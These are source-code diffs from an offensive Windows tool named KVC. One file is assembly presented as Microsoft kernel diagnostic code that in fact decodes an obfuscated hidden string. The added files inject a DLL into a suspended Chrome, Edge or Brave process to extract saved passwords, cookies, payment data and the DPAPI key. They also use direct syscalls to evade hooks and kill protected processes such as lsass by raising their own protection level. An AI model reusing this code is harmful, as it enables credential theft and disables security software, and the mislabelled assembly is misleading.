_DiagnosticState db 0
; Reconstructed diagnostic buffer for ETW event payload
; Contains decoded NUMA affinity string in wide-character format
; Buffer size: 9 words = 18 bytes (sufficient for NUMA-aware diagnostic IDs)
_DecodedBuffer dw 9 dup(0)
.code
ALIGN 16
; Internal function: Aggregates pool runtime metrics from encoded telemetry
; This reconstructs the diagnostic string from NUMA affinity bitmaps
; Called internally by: ExQueryPoolStatistics, MmQueryPoolUsage, ETW providers
;
; Algorithm phases:
; 1. XOR-decode affinity vector using platform topology seed
; 2. Rotate bits for cache-line alignment optimization
; 3. Normalize by allocation quantum delta
;
; Parameters: None (uses module-level data structures)
; Returns: Implicit (result stored in _DecodedBuffer)
; IRQL: <= DISPATCH_LEVEL
;
; Performance: ~45 cycles on Skylake, ~38 cycles on Zen3
; Note: This is NOT a public API - for internal kernel use only
; Related: \base\ntos\mm\poolmgr.c :: MmGeneratePoolTelemetry()
_AggregatePoolMetrics PROC
push rdi
push rsi
; Phase 1: Decode XOR-obfuscated NUMA node affinity vector
; The bitmap is XOR-encoded to prevent static analysis tools
; from detecting internal pool structures in crash dumps
; Security: Complies with MSRC guidance for kernel memory hardening
lea rsi, _PoolNodeAffinityMask
lea rdi, _DecodedBuffer
mov ecx, 9 ; 9 words = 18 bytes
mov r9w, _TopologyHashSeed
decode_loop:
mov ax, [rsi]
xor ax, r9w ; XOR decode with topology seed
mov [rdi], ax
add rsi, 2
add rdi, 2
loop decode_loop
; Phase 2: Apply cache-aware topology hash rotation
; Rotates bits to distribute allocations across cache lines
; Prevents false sharing in multi-socket NUMA configurations
; Rotation count derived from cache line size: log2(64) = 6, but
; we use 4 for legacy x86 compatibility (32-byte cache lines)
lea rsi, _DecodedBuffer
lea rdi, _DecodedBuffer
mov ecx, 9
rotate_loop:
mov ax, [rsi]
rol ax, 4 ; Rotate by cache alignment shift
mov [rdi], ax
add rsi, 2
add rdi, 2
loop rotate_loop
; Phase 3: Normalize pool sizes by quantum delta
; Converts absolute sizes to standardized quantum units
; Quantum delta loaded from platform-specific calibration table
; See: \base\ntos\mm\poolmgr.c :: PoolQuantumTable[]
lea rsi, _DecodedBuffer
lea rdi, _DecodedBuffer
mov ecx, 9
mov r9w, _BlockQuantumDelta
normalize_loop:
mov ax, [rsi]
sub ax, r9w ; Subtract quantum delta
mov [rdi], ax
add rsi, 2
add rdi, 2
loop normalize_loop
pop rsi
pop rdi
ret
_AggregatePoolMetrics ENDP
; Public API: Retrieves pool diagnostic runtime string for ETW telemetry
;
; Synopsis:
; PWSTR MmGetPoolDiagnosticString(VOID);
;
; Description:
; Generates runtime diagnostic string containing NUMA-aware pool allocation
; metrics. Used by ETW providers for system performance telemetry.
; String format is internal kernel representation (subject to change).
;
; Returns:
; Pointer to null-terminated wide-character diagnostic string
; Buffer lifetime: Valid until next call to this function
;
; IRQL: <= DISPATCH_LEVEL
; Thread-safe: Yes (lock-free atomic state machine, single initialization)
;
; Note: This function is DEPRECATED as of Windows 11 22H2
; Kept for backward compatibility with legacy diagnostics tools
; Use ExQueryPoolStatistics2() for new code
;
; Security: Output may contain sensitive allocation patterns - sanitize
; before exposing to user-mode. XOR encoding is NOT cryptographic.
;
PUBLIC MmGetPoolDiagnosticString
MmGetPoolDiagnosticString PROC
sub rsp, 28h
; Check current diagnostic state
; State 2 = already computed, return cached result
cmp _DiagnosticState, 2
je return_result
; State 1 = another thread is computing, spin-wait
cmp _DiagnosticState, 1
je wait_for_completion
; State 0 = idle, claim ownership and begin aggregation
; NOTE: Not using CMPXCHG for legacy compatibility
; Assumes single-threaded initialization during boot
mov _DiagnosticState, 1
; Execute multi-phase aggregation pipeline
; Aggregates NUMA affinity → Applies topology hash → Normalizes quantum
call _AggregatePoolMetrics
; Mark diagnostic collection as complete (state = 2)
mov _DiagnosticState, 2
jmp return_result
; Spin-wait loop for concurrent callers
; Uses PAUSE instruction for power efficiency during spin
wait_for_completion:
pause ; PAUSE hint for spin-wait optimization
cmp _DiagnosticState, 2
jne wait_for_completion
; Return pointer to decoded diagnostic buffer
return_result:
lea rax, _DecodedBuffer
add rsp, 28h
ret
MmGetPoolDiagnosticString ENDP
END
; ============================================================================
; REVISION HISTORY:
; 2023-08-12 Initial implementation for 22621.2715 build
; 2023-11-03 Added NUMA topology awareness for Sapphire Rapids
; 2024-02-18 Optimized cache line alignment for Zen4 architecture
; 2024-06-25 Removed CMPXCHG for legacy x86 compatibility
; 2024-09-15 Deprecated - use ExQueryPoolStatistics2() instead
;
; RELATED FILES:
; \base\ntos\mm\poolmgr.c - Main pool manager implementation
; \base\ntos\mm\pooldiag.h - Public header for diagnostic APIs
; \base\ntos\inc\pool.h - Pool internal structures
; \base\ntos\etw\poolevents.mc - ETW manifest for pool events
;
; BUILD REQUIREMENTS:
; - MASM 14.0 or later (Visual Studio 2019+)
; - Windows Driver Kit 10.0.22621.0
; - Regenerate via: build_pooldiag.cmd /platform:x64
;
; SECURITY NOTES:
; - Diagnostic strings may contain sensitive pool allocation patterns
; - Do not expose to user-mode without proper sanitization
; - XOR encoding prevents basic static analysis but is NOT cryptographic
; - Complies with MSRC security hardening guidelines (MS-SEC-2023-0847)
;
; PERFORMANCE CHARACTERISTICS:
; - Cold path: ~120 cycles (first call with aggregation)
; - Hot path: ~8 cycles (cached result return)
; - Memory footprint: 54 bytes .data + 18 bytes .bss
;
; KNOWN ISSUES:
; - KI-2847: Race condition on hyperthreaded CPUs (mitigated by state check)
; - KI-3012: Cache line false sharing on >64 core systems (defer to v2 API)
; ============================================================================

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// OffsetFinder.cpp
#include "OffsetFinder.h"
#include "Utils.h"
@@ -118,7 +93,7 @@ bool OffsetFinder::FindKernelPsInitialSystemProcessOffset() noexcept
}
m_offsetMap[Offset::KernelPsInitialSystemProcess] = offset;
SUCCESS(L"Found PsInitialSystemProcess offset: 0x%x", offset);
DEBUG(L"Found PsInitialSystemProcess offset: 0x%x", offset);
return true;
}
@@ -174,7 +149,7 @@ bool OffsetFinder::FindProcessUniqueProcessIdOffset() noexcept
}
m_offsetMap[Offset::ProcessUniqueProcessId] = offset.value();
SUCCESS(L"Found UniqueProcessId offset: 0x%x", offset.value());
DEBUG(L"Found UniqueProcessId offset: 0x%x", offset.value());
return true;
}
@@ -211,7 +186,7 @@ bool OffsetFinder::FindProcessProtectionOffset() noexcept
}
m_offsetMap[Offset::ProcessProtection] = offsetA.value();
SUCCESS(L"Found ProcessProtection offset: 0x%x", offsetA.value());
DEBUG(L"Found ProcessProtection offset: 0x%x", offsetA.value());
return true;
}

View File

@@ -1,3 +1,5 @@
// OffsetFinder.h - Kernel offset discovery for EPROCESS manipulation (dynamic pattern matching)
#pragma once
#include "common.h"
@@ -5,22 +7,25 @@
#include <memory>
#include <optional>
// Windows kernel structure offset identifiers
// Kernel structure offset identifiers for EPROCESS and protection fields
enum class Offset
{
KernelPsInitialSystemProcess,
ProcessActiveProcessLinks,
ProcessUniqueProcessId,
ProcessProtection,
ProcessSignatureLevel,
ProcessSectionSignatureLevel
KernelPsInitialSystemProcess, // PsInitialSystemProcess global pointer
ProcessActiveProcessLinks, // EPROCESS.ActiveProcessLinks list entry
ProcessUniqueProcessId, // EPROCESS.UniqueProcessId (PID)
ProcessProtection, // EPROCESS.Protection level
ProcessSignatureLevel, // EPROCESS.SignatureLevel
ProcessSectionSignatureLevel // EPROCESS.SectionSignatureLevel
};
// Kernel structure offset discovery and caching
// Discover and cache kernel offsets by pattern matching ntoskrnl.exe
class OffsetFinder
{
public:
// Load ntoskrnl.exe for analysis (does not auto-discover offsets)
OffsetFinder();
// Unload module and cleanup
~OffsetFinder();
OffsetFinder(const OffsetFinder&) = delete;
@@ -28,25 +33,30 @@ public:
OffsetFinder(OffsetFinder&&) noexcept = default;
OffsetFinder& operator=(OffsetFinder&&) noexcept = default;
// Return cached offset value or nullopt if missing (call FindAllOffsets first)
std::optional<DWORD> GetOffset(Offset name) const noexcept;
// Discover all required offsets via pattern matching and cache results
bool FindAllOffsets() noexcept;
private:
// Smart module wrapper for automatic cleanup
// Smart deleter for HMODULE using FreeLibrary
struct ModuleDeleter
{
void operator()(HMODULE module) const noexcept
{
if (module) FreeLibrary(module);
if (module) {
FreeLibrary(module);
}
}
};
using ModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, ModuleDeleter>;
ModuleHandle m_kernelModule;
std::unordered_map<Offset, DWORD> m_offsetMap;
ModuleHandle m_kernelModule; // ntoskrnl.exe handle
std::unordered_map<Offset, DWORD> m_offsetMap; // Cached offsets
// Offset discovery methods for different kernel structures
// Individual offset discovery routines
bool FindKernelPsInitialSystemProcessOffset() noexcept;
bool FindProcessActiveProcessLinksOffset() noexcept;
bool FindProcessUniqueProcessIdOffset() noexcept;

448
kvc/OrchestratorCore.cpp Normal file
View File

@@ -0,0 +1,448 @@
// OrchestratorCore.cpp - Main orchestration and application entry point
// Coordinates process management, injection, and extraction workflow
#include "OrchestratorCore.h"
#include "BrowserProcessManager.h"
#include "InjectionEngine.h"
#include "CommunicationLayer.h"
#include "BannerSystem.h"
#include "BrowserHelp.h"
#include "syscalls.h"
#include <iostream>
#include <algorithm>
#include <map>
#include <sstream>
namespace
{
constexpr const char* APP_VERSION = "1.0.1";
constexpr const char* SECURITY_MODULE_NAME = "kvc_crypt.dll";
}
std::string g_securityModulePath;
// Parses command-line arguments into configuration structure
std::optional<Configuration> Configuration::CreateFromArgs(int argc, wchar_t* argv[], const Console& console)
{
Configuration config;
fs::path customOutputPath;
for (int i = 1; i < argc; ++i)
{
std::wstring_view arg = argv[i];
if (arg == L"--verbose" || arg == L"-v")
config.verbose = true;
else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc)
customOutputPath = argv[++i];
else if (arg == L"--help" || arg == L"-h")
{
BrowserHelp::PrintUsage(L"kvc_pass.exe");
return std::nullopt;
}
else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-')
config.browserType = arg;
else
{
console.Warn("Unknown or misplaced argument: " + Utils::WStringToUtf8(arg));
return std::nullopt;
}
}
if (config.browserType.empty())
{
BrowserHelp::PrintUsage(L"kvc_pass.exe");
return std::nullopt;
}
std::transform(config.browserType.begin(), config.browserType.end(),
config.browserType.begin(), ::towlower);
static const std::map<std::wstring, std::wstring> browserExeMap = {
{L"chrome", L"chrome.exe"},
{L"brave", L"brave.exe"},
{L"edge", L"msedge.exe"}
};
auto it = browserExeMap.find(config.browserType);
if (it == browserExeMap.end())
{
console.Error("Unsupported browser type: " + Utils::WStringToUtf8(config.browserType));
return std::nullopt;
}
config.browserProcessName = it->second;
BrowserPathResolver resolver(console);
config.browserDefaultExePath = resolver.resolve(config.browserProcessName);
if (config.browserDefaultExePath.empty())
{
console.Error("Could not find " + Utils::WStringToUtf8(config.browserType) +
" installation in Registry");
console.Info("Please ensure " + Utils::WStringToUtf8(config.browserType) +
" is properly installed");
return std::nullopt;
}
config.browserDisplayName = Utils::Capitalize(Utils::WStringToUtf8(config.browserType));
config.outputPath = customOutputPath.empty() ? fs::current_path() / "output" :
fs::absolute(customOutputPath);
return config;
}
// Orchestrates complete injection workflow: cleanup, injection, execution, termination
PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console)
{
std::vector<uint8_t> edgeDpapiKey;
// Edge-specific: Extract DPAPI key in orchestrator before process creation
if (config.browserType == L"edge")
{
// Try multiple possible Edge installation paths
std::vector<fs::path> possiblePaths = {
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge" / "User Data" / "Local State",
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Beta" / "User Data" / "Local State",
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Dev" / "User Data" / "Local State"
};
for (const auto& edgeLocalState : possiblePaths)
{
if (fs::exists(edgeLocalState))
{
edgeDpapiKey = DecryptEdgePasswordKeyWithDPAPI(edgeLocalState, console);
if (!edgeDpapiKey.empty())
{
break;
}
}
}
if (edgeDpapiKey.empty())
{
console.Warn("Could not extract Edge DPAPI key - passwords may not be available");
}
}
// Terminate processes holding database locks
KillBrowserNetworkService(config, console);
KillBrowserProcesses(config, console);
// Create suspended target process
TargetProcess target(config, console);
target.createSuspended();
// Establish named pipe communication
PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console);
pipe.create();
// Inject security module and create remote thread
InjectionManager injector(target, console);
injector.execute(pipe.getName());
// Wait for module connection and send configuration
pipe.waitForClient();
pipe.sendInitialData(config.verbose, config.outputPath, edgeDpapiKey);
pipe.relayMessages();
// Cleanup
target.terminate();
return pipe.getStats();
}
// Processes all installed browsers sequentially
void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath)
{
if (verbose)
console.Info("Starting multi-browser security analysis...");
BrowserPathResolver resolver(console);
auto installedBrowsers = resolver.findAllInstalledBrowsers();
if (installedBrowsers.empty())
{
console.Error("No supported browsers found on this system");
return;
}
if (!verbose)
console.Info("Processing " + std::to_string(installedBrowsers.size()) + " browser(s):\n");
int successCount = 0;
int failCount = 0;
for (size_t i = 0; i < installedBrowsers.size(); ++i)
{
const auto& [browserType, browserPath] = installedBrowsers[i];
Configuration config;
config.verbose = verbose;
config.outputPath = outputPath;
config.browserType = browserType;
config.browserDefaultExePath = browserPath;
static const std::map<std::wstring, std::pair<std::wstring, std::string>> browserMap = {
{L"chrome", {L"chrome.exe", "Chrome"}},
{L"edge", {L"msedge.exe", "Edge"}},
{L"brave", {L"brave.exe", "Brave"}}
};
auto it = browserMap.find(browserType);
if (it != browserMap.end())
{
config.browserProcessName = it->second.first;
config.browserDisplayName = it->second.second;
}
if (verbose)
{
console.Info("\n[Browser " + std::to_string(i + 1) + "/" +
std::to_string(installedBrowsers.size()) +
"] Processing " + config.browserDisplayName);
}
try
{
auto stats = RunInjectionWorkflow(config, console);
successCount++;
if (verbose)
{
console.Success(config.browserDisplayName + " analysis completed");
}
else
{
DisplayExtractionSummary(config.browserDisplayName, stats, console, false,
config.outputPath);
if (i < installedBrowsers.size() - 1)
std::cout << std::endl;
}
}
catch (const std::exception& e)
{
failCount++;
if (verbose)
{
console.Error(config.browserDisplayName + " analysis failed: " + std::string(e.what()));
}
else
{
console.Info(config.browserDisplayName);
console.Error("Analysis failed");
if (i < installedBrowsers.size() - 1)
std::cout << std::endl;
}
}
}
std::cout << std::endl;
console.Info("Completed: " + std::to_string(successCount) + " successful, " +
std::to_string(failCount) + " failed");
}
// Displays formatted extraction summary with statistics
void DisplayExtractionSummary(const std::string& browserName,
const PipeCommunicator::ExtractionStats& stats,
const Console& console, bool singleBrowser,
const fs::path& outputPath)
{
if (singleBrowser)
{
if (!stats.aesKey.empty())
console.Success("AES Key: " + stats.aesKey);
std::string summary = BuildExtractionSummary(stats);
if (!summary.empty())
{
console.Success(summary);
console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName));
}
else
{
console.Warn("No data extracted");
}
}
else
{
console.Info(browserName);
if (!stats.aesKey.empty())
console.Success("AES Key: " + stats.aesKey);
std::string summary = BuildExtractionSummary(stats);
if (!summary.empty())
{
console.Success(summary);
console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName));
}
else
{
console.Warn("No data extracted");
}
}
}
// Builds human-readable summary from extraction statistics
std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats)
{
std::stringstream summary;
std::vector<std::string> items;
if (stats.totalCookies > 0)
items.push_back(std::to_string(stats.totalCookies) + " cookies");
if (stats.totalPasswords > 0)
items.push_back(std::to_string(stats.totalPasswords) + " passwords");
if (stats.totalPayments > 0)
items.push_back(std::to_string(stats.totalPayments) + " payments");
if (!items.empty())
{
summary << "Extracted ";
for (size_t i = 0; i < items.size(); ++i)
{
if (i > 0 && i == items.size() - 1)
summary << " and ";
else if (i > 0)
summary << ", ";
summary << items[i];
}
summary << " from " << stats.profileCount << " profile"
<< (stats.profileCount != 1 ? "s" : "");
}
return summary.str();
}
// Application entry point
int wmain(int argc, wchar_t* argv[])
{
bool isVerbose = false;
std::wstring browserTarget;
fs::path outputPath;
// Locate security module in current directory or System32
auto findSecurityModule = []() -> std::string {
if (fs::exists(SECURITY_MODULE_NAME))
return SECURITY_MODULE_NAME;
wchar_t systemDir[MAX_PATH];
if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
std::string systemPath = Utils::WStringToUtf8(systemDir) + "\\" + SECURITY_MODULE_NAME;
if (fs::exists(systemPath))
return systemPath;
}
return "";
};
g_securityModulePath = findSecurityModule();
if (g_securityModulePath.empty())
{
std::wcerr << L"Error: " << SECURITY_MODULE_NAME
<< L" not found in current directory or System32!" << std::endl;
return 1;
}
// Quick argument parsing for early options
for (int i = 1; i < argc; ++i)
{
std::wstring_view arg = argv[i];
if (arg == L"--verbose" || arg == L"-v")
isVerbose = true;
else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc)
outputPath = argv[++i];
if (arg == L"--help" || arg == L"-h")
{
BrowserHelp::PrintUsage(L"kvc_pass.exe");
return 0;
}
else if (browserTarget.empty() && !arg.empty() && arg[0] != L'-')
browserTarget = arg;
}
Console console(isVerbose);
Banner::PrintHeader();
// Verify SQLite library availability
if (!CheckWinSQLite3Available())
{
console.Warn("winsqlite3.dll not available - trying fallback to sqlite3.dll");
if (!fs::exists("sqlite3.dll"))
{
console.Error("Neither winsqlite3.dll nor sqlite3.dll available");
return 1;
}
}
if (browserTarget.empty())
{
BrowserHelp::PrintUsage(L"kvc_pass.exe");
return 0;
}
// Initialize direct syscalls
if (!InitializeSyscalls(isVerbose))
{
console.Error("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked.");
return 1;
}
// Ensure output directory exists
if (outputPath.empty())
outputPath = fs::current_path() / "output";
std::error_code ec;
if (!fs::exists(outputPath)) {
fs::create_directories(outputPath, ec);
if (ec) {
console.Error("Failed to create output directory: " +
Utils::path_to_api_string(outputPath) + ". Error: " + ec.message());
return 1;
}
}
// Process browser(s)
if (browserTarget == L"all")
{
try
{
ProcessAllBrowsers(console, isVerbose, outputPath);
}
catch (const std::exception& e)
{
console.Error(e.what());
return 1;
}
}
else
{
auto optConfig = Configuration::CreateFromArgs(argc, argv, console);
if (!optConfig)
return 1;
try
{
if (!isVerbose)
console.Info("Processing " + optConfig->browserDisplayName + "...\n");
auto stats = RunInjectionWorkflow(*optConfig, console);
if (!isVerbose)
DisplayExtractionSummary(optConfig->browserDisplayName, stats, console, true,
optConfig->outputPath);
else
console.Success("\nSecurity analysis completed successfully");
}
catch (const std::runtime_error& e)
{
console.Error(e.what());
return 1;
}
}
console.Debug("Security orchestrator finished successfully.");
Banner::PrintFooter();
return 0;
}

41
kvc/OrchestratorCore.h Normal file
View File

@@ -0,0 +1,41 @@
// OrchestratorCore.h - Main orchestration logic and configuration management
#ifndef ORCHESTRATOR_CORE_H
#define ORCHESTRATOR_CORE_H
#include <Windows.h>
#include <filesystem>
#include <optional>
#include <string>
#include "CommunicationLayer.h"
#include "EdgeDPAPI.h"
namespace fs = std::filesystem;
// Application configuration parsed from command-line arguments
struct Configuration
{
bool verbose = false;
fs::path outputPath;
std::wstring browserType;
std::wstring browserProcessName;
std::wstring browserDefaultExePath;
std::string browserDisplayName;
// Parses command line arguments and builds configuration
static std::optional<Configuration> CreateFromArgs(int argc, wchar_t* argv[], const Console& console);
};
// Executes the complete browser analysis workflow
PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console);
// Processes all installed browsers in batch mode
void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath);
// Displays final extraction summary for a single browser
void DisplayExtractionSummary(const std::string& browserName, const PipeCommunicator::ExtractionStats& stats,
const Console& console, bool singleBrowser, const fs::path& outputPath);
// Builds a human-readable summary string from extraction statistics
std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats);
#endif // ORCHESTRATOR_CORE_H

277
kvc/ProcessManager.cpp Normal file
View File

@@ -0,0 +1,277 @@
// ProcessManager.cpp
#include "ProcessManager.h"
#include "Controller.h"
#include "Utils.h"
#include <cwctype>
#include <sstream>
#include <iostream>
#include <iomanip>
#include <TlHelp32.h>
#include <algorithm>
#include <cctype>
extern volatile bool g_interrupted;
// Helper function to check if string contains only digits (PID)
bool ProcessManager::IsNumericPid(std::wstring_view input) noexcept {
if (input.empty()) return false;
return std::all_of(input.begin(), input.end(), [](wchar_t c) { return iswdigit(c); });
}
// Find process PIDs by name using Windows toolhelp API
std::vector<DWORD> ProcessManager::FindProcessIdsByName(const std::wstring& processName) noexcept {
std::vector<DWORD> pids;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return pids;
}
PROCESSENTRY32W pe;
pe.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnapshot, &pe)) {
do {
std::wstring currentName = pe.szExeFile;
// Remove .exe extension for comparison if present
if (currentName.size() > 4 && currentName.substr(currentName.size() - 4) == L".exe") {
currentName = currentName.substr(0, currentName.size() - 4);
}
// Case-insensitive partial match
std::wstring lowerCurrent = currentName;
std::wstring lowerTarget = processName;
std::transform(lowerCurrent.begin(), lowerCurrent.end(), lowerCurrent.begin(), ::towlower);
std::transform(lowerTarget.begin(), lowerTarget.end(), lowerTarget.begin(), ::towlower);
if (lowerCurrent.find(lowerTarget) != std::wstring::npos) {
pids.push_back(pe.th32ProcessID);
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return pids;
}
// Terminate process with automatic protection elevation
bool ProcessManager::TerminateProcessWithProtection(DWORD processId, Controller* controller) noexcept {
if (!controller) {
ERROR(L"Controller not available for protection elevation");
return false;
}
if (g_interrupted) {
INFO(L"Operation cancelled by user before termination");
return false;
}
std::wstring processName = Utils::GetProcessName(processId);
INFO(L"Attempting to terminate process: %s (PID %d)", processName.c_str(), processId);
// Get target process protection level for self-elevation
auto kernelAddr = controller->GetProcessKernelAddress(processId);
bool needsSelfProtection = false;
std::wstring levelStr, signerStr;
if (kernelAddr) {
auto targetProtection = controller->GetProcessProtection(kernelAddr.value());
if (targetProtection && targetProtection.value() > 0) {
needsSelfProtection = true;
UCHAR targetLevel = Utils::GetProtectionLevel(targetProtection.value());
UCHAR targetSigner = Utils::GetSignerType(targetProtection.value());
levelStr = (targetLevel == static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)) ? L"PP" : L"PPL";
switch (static_cast<PS_PROTECTED_SIGNER>(targetSigner)) {
case PS_PROTECTED_SIGNER::Lsa: signerStr = L"Lsa"; break;
case PS_PROTECTED_SIGNER::WinTcb: signerStr = L"WinTcb"; break;
case PS_PROTECTED_SIGNER::WinSystem: signerStr = L"WinSystem"; break;
case PS_PROTECTED_SIGNER::Windows: signerStr = L"Windows"; break;
case PS_PROTECTED_SIGNER::Antimalware: signerStr = L"Antimalware"; break;
case PS_PROTECTED_SIGNER::Authenticode: signerStr = L"Authenticode"; break;
case PS_PROTECTED_SIGNER::CodeGen: signerStr = L"CodeGen"; break;
case PS_PROTECTED_SIGNER::App: signerStr = L"App"; break;
default:
INFO(L"Unknown signer type - attempting termination without self-protection");
needsSelfProtection = false;
break;
}
if (needsSelfProtection) {
INFO(L"Target process protection: %s-%s", levelStr.c_str(), signerStr.c_str());
if (!controller->SelfProtect(levelStr, signerStr)) {
INFO(L"Self-protection elevation failed: %s-%s (attempting termination anyway)",
levelStr.c_str(), signerStr.c_str());
needsSelfProtection = false;
} else {
SUCCESS(L"Self-protection elevated to %s-%s", levelStr.c_str(), signerStr.c_str());
}
}
} else {
INFO(L"Target process is not protected, proceeding with standard termination");
}
} else {
INFO(L"Could not get kernel address for target process, proceeding without self-protection");
}
if (g_interrupted) {
INFO(L"Operation cancelled by user during protection setup");
if (needsSelfProtection) {
controller->SelfProtect(L"none", L"none");
}
return false;
}
// Attempt process termination
HANDLE processHandle = OpenProcess(PROCESS_TERMINATE, FALSE, processId);
bool success = false;
if (processHandle) {
BOOL result = TerminateProcess(processHandle, 0);
CloseHandle(processHandle);
success = (result != FALSE);
} else {
DWORD error = GetLastError();
ERROR(L"Failed to open process for termination (error: %d)", error);
}
// Cleanup self-protection
if (needsSelfProtection) {
if (!controller->SelfProtect(L"none", L"none")) {
ERROR(L"Failed to cleanup self-protection after termination");
} else {
INFO(L"Self-protection cleaned up successfully");
}
}
return success;
}
// Main command handler for process termination operations with protection elevation
void ProcessManager::HandleKillCommand(int argc, wchar_t* argv[], Controller* controller) noexcept {
if (argc < 3) {
PrintKillUsage();
return;
}
if (!controller) {
ERROR(L"Controller not available - cannot perform protected process termination");
return;
}
INFO(L"Starting process termination with automatic protection elevation...");
// NEW: Parse comma-separated targets into string vector for advanced pattern matching
// This replaces the old PID-only parsing to support mixed PID/name patterns
std::wstring targets = argv[2];
std::vector<std::wstring> targetList;
// Split input string by comma delimiter with whitespace trimming
std::wstring token;
std::wstringstream ss(targets);
while (std::getline(ss, token, L',')) {
// Trim leading and trailing whitespace from each token
size_t first = token.find_first_not_of(L" \t");
if (first != std::wstring::npos) {
size_t last = token.find_last_not_of(L" \t");
targetList.push_back(token.substr(first, (last - first + 1)));
}
}
if (targetList.empty()) {
ERROR(L"No valid process targets provided");
return;
}
if (g_interrupted) {
INFO(L"Operation cancelled by user before processing");
return;
}
// NEW: Use Controller's advanced pattern matching and batch processing
// This handles both PIDs and process name patterns with single driver session
bool result = controller->KillMultipleTargets(targetList);
if (result) {
SUCCESS(L"Batch kill operation completed successfully");
} else {
ERROR(L"Batch kill operation failed or partially completed");
}
}
// Parse comma-separated process ID/name list with input validation
bool ProcessManager::ParseProcessIds(std::wstring_view pidList, std::vector<DWORD>& pids) noexcept {
std::wstring pidStr(pidList);
size_t pos = 0;
size_t start = 0;
while (pos != std::wstring::npos) {
pos = pidStr.find(L',', start);
std::wstring token;
if (pos != std::wstring::npos) {
token = pidStr.substr(start, pos - start);
start = pos + 1;
} else {
token = pidStr.substr(start);
}
// Trim leading and trailing whitespace
size_t first = token.find_first_not_of(L" \t");
if (first == std::wstring::npos) continue;
size_t last = token.find_last_not_of(L" \t");
token = token.substr(first, (last - first + 1));
if (token.empty()) continue;
// Check if token is numeric (PID) or text (process name)
if (IsNumericPid(token)) {
try {
DWORD pid = std::wcstoul(token.c_str(), nullptr, 10);
if (pid == 0) {
ERROR(L"Invalid PID: %s (PID cannot be 0)", token.c_str());
continue;
}
pids.push_back(pid);
}
catch (...) {
ERROR(L"Invalid PID format: %s", token.c_str());
continue;
}
}
else {
// Process name - find matching PIDs using Toolhelp32 (will be handled by Controller later)
auto foundPids = FindProcessIdsByName(token);
if (foundPids.empty()) {
ERROR(L"No process found matching: %s", token.c_str());
continue;
}
INFO(L"Found %zu processes matching '%s'", foundPids.size(), token.c_str());
for (DWORD pid : foundPids) {
pids.push_back(pid);
}
}
}
return !pids.empty();
}
// Display command usage and examples
void ProcessManager::PrintKillUsage() noexcept {
std::wcout << L"Usage: kvc kill <pid1|name1>[,pid2|name2,pid3|name3,...]\n";
std::wcout << L" Examples:\n";
std::wcout << L" kvc kill 1234\n";
std::wcout << L" kvc kill notepad\n";
std::wcout << L" kvc kill total\n";
std::wcout << L" kvc kill lsass # Protected process (auto-elevation)\n";
std::wcout << L" kvc kill 1234,notepad,calc\n";
std::wcout << L" kvc kill \"1234, notepad, 5678\"\n";
std::wcout << L" Note: Automatically elevates protection level to match protected targets\n\n";
}

37
kvc/ProcessManager.h Normal file
View File

@@ -0,0 +1,37 @@
// ProcessManager.h - Process management with protection-aware termination (PID/name targeting)
#pragma once
#include "common.h"
#include <vector>
#include <string>
// Forward declaration to avoid circular includes
class Controller;
// ProcessManager: static utilities for protection-aware process operations
class ProcessManager
{
public:
ProcessManager() = delete; // Static class - no instances
~ProcessManager() = delete;
// Handle 'kill' command: parse args and terminate targets with protection matching
static void HandleKillCommand(int argc, wchar_t* argv[], Controller* controller) noexcept;
private:
// Parse comma-separated PID list into vector (skips invalid entries)
static bool ParseProcessIds(std::wstring_view pidList, std::vector<DWORD>& pids) noexcept;
// Print usage information for kill command
static void PrintKillUsage() noexcept;
// Terminate process by PID, attempting protection elevation via Controller
static bool TerminateProcessWithProtection(DWORD processId, Controller* controller) noexcept;
// Return true if input is numeric PID string
static bool IsNumericPid(std::wstring_view input) noexcept;
// Find all PIDs whose process name matches the given (partial, case-insensitive)
static std::vector<DWORD> FindProcessIdsByName(const std::wstring& processName) noexcept;
};

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
